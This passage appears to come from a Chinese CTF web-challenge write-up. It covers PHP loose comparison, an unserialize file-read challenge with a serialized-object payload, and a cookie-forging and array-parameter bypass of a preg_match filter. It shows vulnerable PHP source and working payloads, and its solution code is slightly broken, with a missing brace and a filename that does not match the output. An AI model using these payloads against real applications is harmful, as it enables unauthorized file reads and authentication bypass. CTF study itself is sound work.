因为通过逻辑运算符让字符串和数字比较时,会自动将字符串转换为数字.而当字符串无法转换为数字时,其结果就为0
了,然后再和另一个0
比大小,结果自然为ture
。注意:如果那个字符串是以数字开头的,如6ldb
,它还是可以转为数字6
的,然后和0
比较就不等了(但是和6
比较就相等) if($str==0)
判断 和 if( intval($str) == 0 )
是等价的
可以验证:
1 2 3 4 <?php $str="s6s"; if($str==0){ echo "返回了true.";} ?>
要字符串与数字判断不转类型方法有:
方法一: $str="字符串";if($str===0){ echo "返回了true.";}
方法二: $str="字符串";if($str=="0"){ echo "返回了true.";} ,
此题构造:payload:?which=aa
26 unserialize()序列化.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <!-- 题目:http://web.jarvisoj.com:32768 --> <!-- index.php --> <?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?> <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/> <!-- shield.php --> <?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?> <!-- showimg.php --> <?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE //stripos — 查找字符串首次出现的位置(不区分大小写) && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
简单的序列化题目,理清逻辑,构造exp就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 /***answer.php***/ <?php require_once('shield.php'); $x = new Shield(); $g = serialize($x); echo $g ?> /**shield.php**/ <?php //flag is in pctf.php class Shield{ public $file; function __construct($filename = 'pcth.php') $this-> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?
得到: O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}
payload:?class=O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}
27 利用提交数组绕过逻辑.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php $role = "guest"; $flag = "flag{test_flag}"; $auth = false; if(isset($_COOKIE["role"])){ $role = unserialize(base64_decode($_COOKIE["role"])); if($role === "admin"){ $auth = true; } else{ $auth = false; } } else{ $role = base64_encode(serialize($role)); setcookie('role',$role); } if($auth){ if(isset($_POST['filename'])){ $filename = $_POST['filename']; $data = $_POST['data']; if(preg_match('[<>?]', $data)) { die('No No No!'.$data); } else { $s = implode($data); if(!preg_match('[<>?]', $s)){ $flag='None.'; } $rand = rand(1,10000000); $tmp="./uploads/".md5(time() + $rand).$filename; file_put_contents($tmp, $flag); echo "your file is in " . $tmp; } } else{ echo "Hello admin, now you can upload something you are easy to forget."; echo "<br />there are the source.<br />"; echo '<textarea rows="10" cols="100">'; echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__))); echo '</textarea>'; } } else{ echo "Sorry. You have no permissions."; } ?>
首先给了个提示权限不足的页面,抓包发现cookie的base64是guest,改为admin绕过登陆,这里源码也能看出。 最主要的是下面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if($auth){ if(isset($_POST['filename'])){ $filename = $_POST['filename']; $data = $_POST['data']; if(preg_match('[<>?]', $data)) { die('No No No!'); } else { $s = implode($data); if(!preg_match('[<>?]', $s)){ $flag="None."; } $rand = rand(1,10000000); $tmp="./uploads/".md5(time() + $rand).$filename; file_put_contents($tmp, $flag); echo "your file is in " . $tmp; } } else{ echo "Hello admin, now you can upload something you are easy to forget."; echo "<br />there are the source.<br />"; echo '<textarea rows="10" cols="100">'; echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__))); echo '</textarea>'; } }
首先查看提交的请求是否存在<>,如果没有就将传入的数据(implode期望类型是数组)转化为字符串,如果其中存在<>就将flag存在一个随机命名的文件中。implode这个函数需要传入数组,如果是字符串会报错,$s自然就没有值 想要通过post请求的形式传入数组,可以使用data[0]=111&data[1]=<>传入数组,这样的话在Implode的时候不会1使$s为空,成功绕过